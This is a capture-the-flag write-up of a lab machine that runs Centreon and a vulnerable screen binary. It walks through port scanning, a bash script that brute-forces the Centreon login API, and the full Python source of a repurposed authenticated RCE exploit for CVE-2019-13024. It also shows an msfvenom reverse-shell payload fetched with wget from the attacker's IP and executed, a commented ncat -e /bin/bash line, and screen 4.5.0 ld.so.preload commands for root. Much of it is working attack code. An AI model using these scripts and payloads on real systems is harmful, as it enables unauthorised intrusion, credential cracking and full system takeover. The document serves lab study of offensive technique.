Jump Ahead: Enum – Getting a Rev. Shell – Root – Resources – Shoutout
TL;DR;
To solve this machine we enumerate open ports – finding ports 80 and 22 open. Enumerating the directories on the webserver, we find /monitoring/
. Fuzzing the request HTTP verb for /monitoring/
tells us of /centreon
. Going to /centreon
, we are presented with a login interface. Using the Centreon API, we are able to brute-force the password (where the username is the default). Using the credentials, we exploit an authenticated Remote Code Execution (RCE) vulnerability in Centreon to upload and get a reverse shell as www-data
. Doing basic enumeration, we see there is a vulnerable version of screen that has the suid bit set. Exploiting this application, we get a shell as root
and can read user.txt
and root.txt
.
Enumeration
Like all machines, we begin by enumerating services using nmap. Doing so, we see that only port 80
and port 22
are open.
$ nmap -p- --min-rate 3000 ll 10.10.10.157
[...]
$ nmap -p22,80 -A -oA scans/tcpAll 10.10.10.157
# Nmap 7.80 scan initiated Sat Sep 28 13:45:05 2019 as: nmap -p22,80 -A -oA scans/tcpAll 10.10.10.157
Nmap scan report for 10.10.10.157
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.18 (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Linux 3.12 (93%), Linux 3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 56.67 ms 10.10.14.1
2 56.80 ms 10.10.10.157
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 28 13:45:18 2019 -- 1 IP address (1 host up) scanned in 12.82 seconds
Next, we use gobuster to enumerate common files and directories that are present on the webserver.
$ gobuster dir -u 10.10.10.157 -w /opt/wordlists/seclists/Discovery/Web-Content/common.txt -o scans/gobuster80-common.txt
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/monitoring (Status: 401)
/server-status (Status: 403)
Getting a Reverse Shell
Going to http://10.10.10.157/monitoring/
, we are presented with an HTTP basic authentication form.
Fuzzing the HTTP request verb for this directory, we are told that the /centreon
directory exists. Going to the directory, we are presented with a login form.
Fuzzing the request type Centreon login page
Doing some research, we see the default account name for the web UI is admin
however the default password does not work, so we will have to bruteforce it. Using the Centreon API, we are able to bruteforce the credentials.
#!/bin/bash
# brutes Centreon login pw
USER="admin"
# try each password
for i in $(cat passwords.txt); do
printf "[-] Trying \"$i\"\n"
# attempt password
RESULT=$(curl -sX POST http://10.10.10.157/centreon/api/index.php?action=authenticate --data "username=$USER&password=$i")
# did it work?
if [[ "$RESULT" != *"Bad credentials"* ]];
then
printf "[+] Success! Password is: $i\n"
exit 1
fi
done
What a failed authentication looks like Running the bruteforce script we created What a sucessful authentication looks like
After logging into the web UI, we quickly see that we only have read-only permission, as every time we try to submit data, it results in an error. With additional research, we find an RCE exploit (discovered by the machine creator) that we can use to get a reverse shell. (The exploit script was repurposed to run any command.) To get my reverse shell, I generated my payload with msfvenom, uploaded it to the box using wget, and ran it on the box.
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.17 LPORT=9000 -f elf -o shell
$ ./centreon-RCE.py http://10.10.10.157/centreon/ admin <password> 'wget http://10.10.14.17/shell -O /tmp/shell;chmod +x /tmp/shell;/tmp/shell'
Generating the reverse shell payload Running the script to get a call back Got a reverse shell
Below is the modified exploit code:
#!/usr/bin/env python3
'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-13024
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''
import requests
import sys
import warnings
from bs4 import BeautifulSoup
# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 5:
print(len(sys.argv))
print("[~] Usage : ./centreon-exploit.py url username password payload")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
payload = sys.argv[4]
request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, 'lxml')
token = soup.findAll('input')[3].get("value")
#print(soup.find('input', {"name":"centreon_token"}))
#'''
login_info = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
print("[+] Logged In Sucessfully")
print("[+] Retrieving Poller token")
poller_configuration_page = url + "/main.get.php?p=60901"
get_poller_token = request.get(poller_configuration_page)
poller_html = get_poller_token.text
poller_soup = BeautifulSoup(poller_html, 'lxml')
poller_token = poller_soup.findAll('input')[24].get("value")
print("[+] Poller token is : {0}".format(poller_token))
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
#"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
#"nagios_bin": "ping 10.10.14.22 -c 10",#.format(ip, port),
"nagios_bin": payload.replace(' ','${IFS}'),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,
}
proxies = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}
send_payload = request.post(poller_configuration_page, payload_info, proxies=proxies)
if ( send_payload.status_code == 403 ):
print("[-] Failed with status code 403")
sys.exit()
print("[+] Injecting Done, triggering the payload")
print("[+] Check your netcat listener !")
print("[+] Status code was: " + str(send_payload.status_code))
generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
xml_page_data = {
"poller": "1",
"debug": "true",
"generate": "true",
}
request.post(generate_xml_page, xml_page_data)
else:
print("[-] Wrong credentials")
exit()
Getting Root
We get our reverse shell as use www-data
, so the first thing we need to do is enumerate information about the machine. For this, I like to use LinEnum. Running this script, we see a few oddities about a binary. First the binary’s name includes the version, it’s located in /bin
, and the SUID bit is set for it.
SUID set on screen
Normally when we see screen installed on a machine, the name does not include the version, and the SUID bit is not set. Researching this version of screen, we see there is an exploit that abuses ld.so.preload overwriting to get root. Exploiting this vulnerability, I am able to gain access to /home/shelby/user.txt
and /root/root.txt
. *NOTE* I had issues compiling on the remote machine, so all compilation was done locally, then uploaded to the /tmp directory of the machine.
#on the machine
$ cd /etc
$ umask 000
$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" #newline needed
$ screen -ls
$ /tmp/rootshell
Exploiting screen v4.5.0 to get root
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!
Resources
- Centreon default credentials
- Centreon API
- Centreon RCE vulnerability and exploit discovered by box creator
- Screen v4.5.0 exploit
Shoutout
badrabb1t for having the idea to repurpose the RCE exploit script